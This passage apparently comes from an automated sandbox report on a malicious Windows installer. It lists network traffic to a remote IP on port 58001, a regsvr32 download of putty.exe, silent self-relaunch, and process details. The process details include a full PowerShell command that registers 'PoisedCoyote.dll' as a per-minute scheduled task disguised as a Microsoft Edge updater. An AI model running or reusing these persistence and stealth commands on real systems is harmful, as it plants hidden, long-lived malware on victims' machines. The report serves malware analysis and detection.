Nov 21, 2024 03:00:04.389461994 CET	49932	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 03:00:04.509097099 CET	58001	49932	154.216.19.129	192.168.2.4
Nov 21, 2024 03:00:05.671639919 CET	58001	49932	154.216.19.129	192.168.2.4
Nov 21, 2024 03:00:05.671750069 CET	49932	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 03:00:05.671931028 CET	49932	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 03:00:05.790879011 CET	49935	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 03:00:05.791372061 CET	58001	49932	154.216.19.129	192.168.2.4
Nov 21, 2024 03:00:05.910409927 CET	58001	49935	154.216.19.129	192.168.2.4
Nov 21, 2024 03:00:05.910497904 CET	49935	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 03:00:05.911139011 CET	49935	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 03:00:06.030641079 CET	58001	49935	154.216.19.129	192.168.2.4
Nov 21, 2024 03:00:06.030731916 CET	49935	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 03:00:06.150255919 CET	58001	49935	154.216.19.129	192.168.2.4
Nov 21, 2024 03:00:07.314110994 CET	58001	49935	154.216.19.129	192.168.2.4
Nov 21, 2024 03:00:07.317537069 CET	49935	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 03:00:07.317656040 CET	49935	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 03:00:07.423775911 CET	49939	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 03:00:07.437794924 CET	58001	49935	154.216.19.129	192.168.2.4
Nov 21, 2024 03:00:07.543544054 CET	58001	49939	154.216.19.129	192.168.2.4
Nov 21, 2024 03:00:07.543780088 CET	49939	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 03:00:07.544296026 CET	49939	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 03:00:07.664200068 CET	58001	49939	154.216.19.129	192.168.2.4
Nov 21, 2024 03:00:07.664364100 CET	49939	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 03:00:07.783956051 CET	58001	49939	154.216.19.129	192.168.2.4
Nov 21, 2024 03:00:08.905065060 CET	58001	49939	154.216.19.129	192.168.2.4
Nov 21, 2024 03:00:08.905224085 CET	49939	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 03:00:08.905347109 CET	49939	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 03:00:09.017436028 CET	49945	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 03:00:09.025091887 CET	58001	49939	154.216.19.129	192.168.2.4
Nov 21, 2024 03:00:09.137139082 CET	58001	49945	154.216.19.129	192.168.2.4
Nov 21, 2024 03:00:09.137212038 CET	49945	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 03:00:09.138066053 CET	49945	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 03:00:09.260020018 CET	58001	49945	154.216.19.129	192.168.2.4
Nov 21, 2024 03:00:09.260116100 CET	49945	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 03:00:09.379774094 CET	58001	49945	154.216.19.129	192.168.2.4
Nov 21, 2024 03:00:10.657929897 CET	58001	49945	154.216.19.129	192.168.2.4
Nov 21, 2024 03:00:10.658735991 CET	49945	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 03:00:10.658849001 CET	49945	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 03:00:10.778327942 CET	58001	49945	154.216.19.129	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 21, 2024 02:58:55.280458927 CET	64351	53	192.168.2.4	1.1.1.1
Nov 21, 2024 02:58:55.649744987 CET	53	64351	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 21, 2024 02:58:55.280458927 CET	192.168.2.4	1.1.1.1	0x8eb5	Standard query (0)	the.earth.li	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 21, 2024 02:58:55.649744987 CET	1.1.1.1	192.168.2.4	0x8eb5	No error (0)	the.earth.li		93.93.131.124	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

the.earth.li

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49738	93.93.131.124	443	7688	C:\Windows\System32\regsvr32.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 01:58:57 UTC	98	OUT	GET /~sgtatham/putty/latest/w32/putty.exe HTTP/1.1 Host: the.earth.li Connection: Keep-Alive
2024-11-21 01:58:57 UTC	227	IN	HTTP/1.1 302 Found Date: Thu, 21 Nov 2024 01:58:57 GMT Server: Apache Location: https://the.earth.li/~sgtatham/putty/0.81/w32/putty.exe Content-Length: 302 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-11-21 01:58:57 UTC	302	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 74 68 65 2e 65 61 72 74 68 2e 6c 69 2f 7e 73 67 74 61 74 68 61 6d 2f 70 75 74 74 79 2f 30 2e 38 31 2f 77 33 32 2f 70 75 74 74 79 2e 65 78 65 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="https://the.earth.li/~sgtatham/putty/0.81/w32/putty.exe">here</a>.</p><hr><address>Apache Server at

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49746	93.93.131.124	443	7688	C:\Windows\System32\regsvr32.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 01:59:01 UTC	98	OUT	GET /~sgtatham/putty/latest/w32/putty.exe HTTP/1.1 Host: the.earth.li Connection: Keep-Alive
2024-11-21 01:59:01 UTC	227	IN	HTTP/1.1 302 Found Date: Thu, 21 Nov 2024 01:59:01 GMT Server: Apache Location: https://the.earth.li/~sgtatham/putty/0.81/w32/putty.exe Content-Length: 302 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-11-21 01:59:01 UTC	302	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 74 68 65 2e 65 61 72 74 68 2e 6c 69 2f 7e 73 67 74 61 74 68 61 6d 2f 70 75 74 74 79 2f 30 2e 38 31 2f 77 33 32 2f 70 75 74 74 79 2e 65 78 65 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="https://the.earth.li/~sgtatham/putty/0.81/w32/putty.exe">here</a>.</p><hr><address>Apache Server at

Target ID:	0
Start time:	20:58:03
Start date:	20/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x400000
File size:	1'769'630 bytes
MD5 hash:	FECD099F9B8D9500D7199A1054397E3F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	20:58:03
Start date:	20/11/2024
Path:	C:\Users\user\AppData\Local\Temp\is-B2398.tmp\file.tmp
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\is-B2398.tmp\file.tmp" /SL5="$10478,1389145,140800,C:\Users\user\Desktop\file.exe"
Imagebase:	0x400000
File size:	1'160'704 bytes
MD5 hash:	14C6FA8E50B4147075EB922BD0C8B28D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 2%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	20:58:04
Start date:	20/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"cmd.exe" /C timeout /T 3 & "C:\Users\user\Desktop\file.exe" /VERYSILENT /SUPPRESSMSGBOXES
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	20:58:04
Start date:	20/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	20:58:04
Start date:	20/11/2024
Path:	C:\Windows\SysWOW64\timeout.exe
Wow64 process (32bit):	true
Commandline:	timeout /T 3
Imagebase:	0x6d0000
File size:	25'088 bytes
MD5 hash:	976566BEEFCCA4A159ECBDB2D4B1A3E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	20:58:07
Start date:	20/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe" /VERYSILENT /SUPPRESSMSGBOXES
Imagebase:	0x400000
File size:	1'769'630 bytes
MD5 hash:	FECD099F9B8D9500D7199A1054397E3F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	20:58:07
Start date:	20/11/2024
Path:	C:\Users\user\AppData\Local\Temp\is-KCPL5.tmp\file.tmp
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\is-KCPL5.tmp\file.tmp" /SL5="$700F8,1389145,140800,C:\Users\user\Desktop\file.exe" /VERYSILENT /SUPPRESSMSGBOXES
Imagebase:	0x400000
File size:	1'160'704 bytes
MD5 hash:	14C6FA8E50B4147075EB922BD0C8B28D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 2%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	20:58:07
Start date:	20/11/2024
Path:	C:\Windows\SysWOW64\regsvr32.exe
Wow64 process (32bit):	true
Commandline:	"regsvr32.exe" /s /i:INSTALL "C:\Users\user\AppData\Roaming\\PoisedCoyote.dll"
Imagebase:	0x3c0000
File size:	20'992 bytes
MD5 hash:	878E47C8656E53AE8A8A21E927C6F7E0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	20:58:07
Start date:	20/11/2024
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	/s /i:INSTALL "C:\Users\user\AppData\Roaming\\PoisedCoyote.dll"
Imagebase:	0x7ff7fe480000
File size:	25'088 bytes
MD5 hash:	B0C2FA35D14A9FAD919E99D9D75E1B9E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	20:58:11
Start date:	20/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell" -Command "if (Get-ScheduledTask \| Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:INSTALL C:\Users\user\AppData\Roaming\PoisedCoyote.dll' }) { exit 0 } else { exit 1 }"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	20:58:11
Start date:	20/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	20:58:22
Start date:	20/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell" "Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute \"regsvr32\" -Argument \"/S /i:INSTALL C:\Users\user\AppData\Roaming\PoisedCoyote.dll\") -Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1)) -TaskName 'MicrosoftEdgeUpdateTaskMachineUA{D7C2DB06-FCF6-4992-AF37-53F140CD5A88}' -Description 'Default' -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries) -RunLevel Highest"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	20:58:22
Start date:	20/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	20:58:25
Start date:	20/11/2024
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\regsvr32.EXE /S /i:INSTALL C:\Users\user\AppData\Roaming\PoisedCoyote.dll
Imagebase:	0x7ff7fe480000
File size:	25'088 bytes
MD5 hash:	B0C2FA35D14A9FAD919E99D9D75E1B9E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	20:58:32
Start date:	20/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell" -Command "if (Get-ScheduledTask \| Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:INSTALL C:\Users\user\AppData\Roaming\PoisedCoyote.dll' }) { exit 0 } else { exit 1 }"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 5088, Parent PID: 1880

General

Target ID:	18
Start time:	20:58:32
Start date:	20/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Function 00007FFD9B1DA4E0 Relevance: .2, Instructions: 247COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1926218612.00007FFD9B1D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B1D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffd9b1d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eccacc5ecdeee567d6612bdc617b986b20d245bcbc723a486c47b9d5daaf4d6f
Instruction ID: 1813a7421218b03dd42d01eefd279a7de6fadf71a9b8f33d566e1a26b6afe848
Opcode Fuzzy Hash: eccacc5ecdeee567d6612bdc617b986b20d245bcbc723a486c47b9d5daaf4d6f
Instruction Fuzzy Hash: 0901263190C7888FDB55DFACD8493A8BBE0EB42330F0481ABC149C71A2D3796416CB52

Function 00007FFD9B1D9478 Relevance: .2, Instructions: 235COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1926218612.00007FFD9B1D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B1D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffd9b1d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc59303bfc15233af2ba81d74fa13d13cb5776e229aaea9c05de7c832ae0f0e3
Instruction ID: 5d5b39fa5825d986de26ac68857f16997280fbbcba5997d2c41a51d71b8dd0e4
Opcode Fuzzy Hash: cc59303bfc15233af2ba81d74fa13d13cb5776e229aaea9c05de7c832ae0f0e3
Instruction Fuzzy Hash: 39614A72E0EBCA0FE7259B6C582E1B97BE0FF96354F0502BBD09897193DA1479058391

Function 00007FFD9B0BE384 Relevance: .1, Instructions: 131COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1925369656.00007FFD9B0BD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B0BD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffd9b0bd000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: becd15097975561bab135fa916ad64c04bb46c9a1addf812dd264f461da8780e
Instruction ID: 3a35a7a82624b8c8d7079af7f4cd8384de3601c4b1023a42b4699fe107436dff
Opcode Fuzzy Hash: becd15097975561bab135fa916ad64c04bb46c9a1addf812dd264f461da8780e
Instruction Fuzzy Hash: B041047190EB884FE7A68B2898559523FB0EF53320B1505EFD08CCB1A3D625A806CB92

Function 00007FFD9B1DA67C Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1926218612.00007FFD9B1D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B1D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffd9b1d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 77639dffae2e5a77f616a71079a7d5798ef41622f68383e39aeaf55f0b686c57
Instruction ID: 3f87ff8749d43faf3c10ff975c70db9c9a0366b3304cbc41ab148e5676fe781b
Opcode Fuzzy Hash: 77639dffae2e5a77f616a71079a7d5798ef41622f68383e39aeaf55f0b686c57
Instruction Fuzzy Hash: 1621D431A0CA4C8FDB58DF9C984A7E97BE0EBA9321F00412FD049D3151D670A416CB81

Function 00007FFD9B1D36C5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1926218612.00007FFD9B1D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B1D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffd9b1d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67d1617613e612b7a049b31fcb3c0c06bb00aa9b6616606570c7eb9b15762ca9
Instruction ID: e7803dbc64a1a1febb7d97ad7096654da02e77b3dd7e8c3e701f8328929ad967
Opcode Fuzzy Hash: 67d1617613e612b7a049b31fcb3c0c06bb00aa9b6616606570c7eb9b15762ca9
Instruction Fuzzy Hash: FF01A77120CB0C4FD748EF0CE051AA5B3E0FB85364F10056DE58AC36A1D632E882CB41

Function 00007FFD9B2A3642 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1926949874.00007FFD9B2A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B2A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffd9b2a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f9ee64776a541f8985dc589eb3607f1d61402e2d53d864824fc0bb53bfdf5b47
Instruction ID: e9135b62eadaee10e88cb63743f2fe203bd113a31817f78f9faeca8ebcfe8925
Opcode Fuzzy Hash: f9ee64776a541f8985dc589eb3607f1d61402e2d53d864824fc0bb53bfdf5b47
Instruction Fuzzy Hash: 6AF0B432B0D6088FD768EB4CE4518A473E0FF4972071500F6E05DC75A7DA26AC01C785

Function 00007FFD9B2A38F0 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1926949874.00007FFD9B2A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B2A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffd9b2a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 99effcc6e42f3953137af94fb9103fb5f09997561a31fcb57a0c5c92e3e6ea7b
Instruction ID: 8de4bba5945ebf2bc9b5d5cc9b50a32fd1348f758520289db0da91dd40325f78
Opcode Fuzzy Hash: 99effcc6e42f3953137af94fb9103fb5f09997561a31fcb57a0c5c92e3e6ea7b
Instruction Fuzzy Hash: 28F08232B0DA498FDB69EB9CE4918A8B7E0FF45320B5500F6E05DCB5A3DA26EC44C751

Function 00007FFD9B1D9C40 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1926218612.00007FFD9B1D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B1D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffd9b1d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 592dd1677751df4d482a17b2a9bdaf608b83d038b758f6bdb669a16fd3845ee3
Instruction ID: ab42243f55326cced23457d485bef3cc0b30536e773ecdb9497b65c41bd2238a
Opcode Fuzzy Hash: 592dd1677751df4d482a17b2a9bdaf608b83d038b758f6bdb669a16fd3845ee3
Instruction Fuzzy Hash: 17F0B43081868D8FDB45DF7488599E57FE0FF26354B0502ABE45CC70B2DB74A954CB92

Non-executed Functions

Function 00007FFD9B1D4FFB Relevance: .4, Instructions: 380COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1926218612.00007FFD9B1D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B1D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffd9b1d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 28fa222a7c12b087a2f6e65eca3b6303d3c673746620161aa567d7c4ef902b38
Instruction ID: 576d4a0a8fbf02a7dffaaae93411efddb9dd01f950a581601356fcd454d5857d
Opcode Fuzzy Hash: 28fa222a7c12b087a2f6e65eca3b6303d3c673746620161aa567d7c4ef902b38
Instruction Fuzzy Hash: 13917F07B0D97205E325B2FD782E9ED9B50CFC16BFB1A86B7D29D890C74D09248E42E5

Analysis Process: powershell.exePID: 8100, Parent PID: 7688COMMON

Executed Functions

Function 00007FFD9B2C5AD4 Relevance: .5, Instructions: 508COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2072533424.00007FFD9B2C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B2C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9b2c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8439cda5951b47fddb0bd8a8d3b49bbaa3750b19104bc395daff4f28ea3d8325
Instruction ID: 87fdd6b1c3f692cd1584876176ef106873e942dc019144ba476a13bee7c57be5
Opcode Fuzzy Hash: 8439cda5951b47fddb0bd8a8d3b49bbaa3750b19104bc395daff4f28ea3d8325
Instruction Fuzzy Hash: B6E14822B0FBCA0FE7A6A66C58765707BD1EF56210B0A01FBD08DCB1E3DA19ED458341

Function 00007FFD9B0DED40 Relevance: .1, Instructions: 127COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2070002058.00007FFD9B0DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B0DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9b0dd000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: abcb0861fd81e8ddd3aac6279367531ef7a4d03c13f87f8524634e45963195a7
Instruction ID: 6a3d1e610e6bc7f85137e9ee6337ddac25bd1cb913945453273f1cf7bdbf83b2
Opcode Fuzzy Hash: abcb0861fd81e8ddd3aac6279367531ef7a4d03c13f87f8524634e45963195a7
Instruction Fuzzy Hash: 3E41F87040EBC44FE7569B2998559523FF0EF57220B1606DFE08CCB1E3D625A846C7A2

Function 00007FFD9B1F9A3F Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2071441594.00007FFD9B1F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B1F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9b1f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 574854f67d97f777c7f0e871171c2f55623636a03faa6a38e510497c3c1f37e6
Instruction ID: 22178db887cfdc15100e8a96e550ea52294ed0706463f83dc1019f073c17c7d3
Opcode Fuzzy Hash: 574854f67d97f777c7f0e871171c2f55623636a03faa6a38e510497c3c1f37e6
Instruction Fuzzy Hash: E7318431A1CB4C9FDB1CDB5CA84A6A97BE0FB99721F00422FE449D3651CB71A855CBC2

Function 00007FFD9B1FA948 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2071441594.00007FFD9B1F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B1F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9b1f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 96de9e062293792912cb1ab02de773544ba7675401e24280688920b9c617c413
Instruction ID: 7ca63bbf9811f95b0b0087377f26fad1f57f5330ddd4ad9dcc664caeb7577bff
Opcode Fuzzy Hash: 96de9e062293792912cb1ab02de773544ba7675401e24280688920b9c617c413
Instruction Fuzzy Hash: B0210731A0CA4C8FDB58DB9C984A7E97BE0EB96321F04426BD048C3156DA74A456CB91

Function 00007FFD9B1F3475 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2071441594.00007FFD9B1F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B1F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9b1f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e0cd8e44b86cda1606cdcda3d5cd9c82b965f1b77ca43a9ede1ee8a995a9426
Instruction ID: 14b68a300fd892b20854a2faacc7bbfacc64b781e4be035bf77bfab3e9cde47a
Opcode Fuzzy Hash: 5e0cd8e44b86cda1606cdcda3d5cd9c82b965f1b77ca43a9ede1ee8a995a9426
Instruction Fuzzy Hash: 7401677121CB0C4FD748EF4CE451AA5B7E0FB95364F10056EE58AC36A5D636E881CB45

Function 00007FFD9B1FA788 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2071441594.00007FFD9B1F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B1F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9b1f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e8d32bce3b9acdb14a6a6f916678b7c495e7451222ae8215f52e36ee9ac051ad
